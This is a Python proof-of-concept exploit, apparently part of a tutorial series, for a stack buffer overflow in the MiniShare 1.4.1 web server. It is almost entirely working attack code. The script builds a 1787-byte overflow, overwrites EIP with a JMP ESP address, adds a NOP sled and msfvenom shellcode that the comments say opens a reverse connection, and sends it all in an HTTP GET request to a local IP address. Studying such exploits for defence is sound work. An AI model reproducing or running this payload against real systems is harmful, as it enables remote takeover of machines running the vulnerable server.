#!/usr/bin/python3.8
# This is a Proof of concept about BufferOverflow vulnerability in MiniShare 1.4.1

# Part 8 of proof of concept by Vry4n
# This script is intended full the buffer, modify EIP value with our JMP ESP value 7E4456F7, which refers to USER32.dll
# execute it, and then fill it with our code generated with msfvenom to spawn a reverse connection

# badchars \x00\x0d
# JMP ESP 7E4456F7, as this is intel processor this is read as little endian, see EIP variable from lest significant bit
import socket

# buffer 1787
# NOPs are ncessary to separate our code with the register EIP
FUZZ = "A" * 1787
EIP =  b"\xF7\x56\x44\x7E"
NOPS = b"\x90" * 32
shellcode =  b""
shellcode += b"\xdd\xc7\xd9\x74\x24\xf4\x58\xba\x72\xe5\xb0"
shellcode += b"\x52\x29\xc9\xb1\x56\x31\x50\x18\x03\x50\x18"
shellcode += b"\x83\xc0\x76\x07\x45\xae\x9e\x45\xa6\x4f\x5e"
shellcode += b"\x2a\x2e\xaa\x6f\x6a\x54\xbe\xdf\x5a\x1e\x92"
shellcode += b"\xd3\x11\x72\x07\x60\x57\x5b\x28\xc1\xd2\xbd"
shellcode += b"\x07\xd2\x4f\xfd\x06\x50\x92\xd2\xe8\x69\x5d"
shellcode += b"\x27\xe8\xae\x80\xca\xb8\x67\xce\x79\x2d\x0c"
shellcode += b"\x9a\x41\xc6\x5e\x0a\xc2\x3b\x16\x2d\xe3\xed"
shellcode += b"\x2d\x74\x23\x0f\xe2\x0c\x6a\x17\xe7\x29\x24"
shellcode += b"\xac\xd3\xc6\xb7\x64\x2a\x26\x1b\x49\x83\xd5"
shellcode += b"\x65\x8d\x23\x06\x10\xe7\x50\xbb\x23\x3c\x2b"
shellcode += b"\x67\xa1\xa7\x8b\xec\x11\x0c\x2a\x20\xc7\xc7"
shellcode += b"\x20\x8d\x83\x80\x24\x10\x47\xbb\x50\x99\x66"
shellcode += b"\x6c\xd1\xd9\x4c\xa8\xba\xba\xed\xe9\x66\x6c"
shellcode += b"\x11\xe9\xc9\xd1\xb7\x61\xe7\x06\xca\x2b\x6f"
shellcode += b"\xea\xe7\xd3\x6f\x64\x7f\xa7\x5d\x2b\x2b\x2f"
shellcode += b"\xed\xa4\xf5\xa8\x64\xa2\x05\x66\xce\xa3\xfb"
shellcode += b"\x87\x2e\xed\x3f\xd3\x7e\x85\x96\x5c\x15\x55"
shellcode += b"\x16\x89\x83\x5f\x80\xf2\xfb\x60\x44\x9b\xf9"
shellcode += b"\x60\x75\x07\x74\x86\x25\xe7\xd6\x17\x86\x57"
shellcode += b"\x96\xc7\x6e\xb2\x19\x37\x8e\xbd\xf0\x50\x25"
shellcode += b"\x52\xac\x09\xd2\xcb\xf5\xc2\x43\x13\x20\xaf"
shellcode += b"\x44\x9f\xc0\x4f\x0a\x68\xa1\x43\x7b\x0f\x49"
shellcode += b"\x9c\x7c\xba\x49\xf6\x78\x6c\x1e\x6e\x83\x49"
shellcode += b"\x68\x31\x7c\xbc\xeb\x36\x82\x41\xdd\x4d\xb5"
shellcode += b"\xd7\x61\x3a\xba\x37\x61\xba\xec\x5d\x61\xd2"
shellcode += b"\x48\x06\x32\xc7\x96\x93\x27\x54\x03\x1c\x11"
shellcode += b"\x08\x84\x74\x9f\x77\xe2\xda\x60\x52\x70\x1c"
shellcode += b"\x9e\x20\x5f\x85\xf6\xda\xdf\x35\x06\xb1\xdf"
shellcode += b"\x65\x6e\x4e\xcf\x8a\x5e\xaf\xda\xc2\xf6\x3a"
shellcode += b"\x8b\xa1\x67\x3a\x86\x64\x39\x3b\x25\xbd\xca"
shellcode += b"\x46\x46\x42\x2b\xb7\x4e\x27\x2c\xb7\x6e\x59"
shellcode += b"\x11\x61\x57\x2f\x54\xb1\xec\x20\xe3\x94\x45"
shellcode += b"\xab\x0b\x8a\x96\xfe"

print("Fuzzing with {} bytes".format(len(FUZZ)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(("192.168.0.5", 80))
# from a web proxy capturing the HTTP GET Request, we got this line "GET / HTTP/1.1" This is the vulnerable section
s.send(b"GET " + FUZZ.encode() + EIP + NOPS + shellcode + b"HTTP/1.1\r\n\r\n")
s.recv(1024)
s.close()
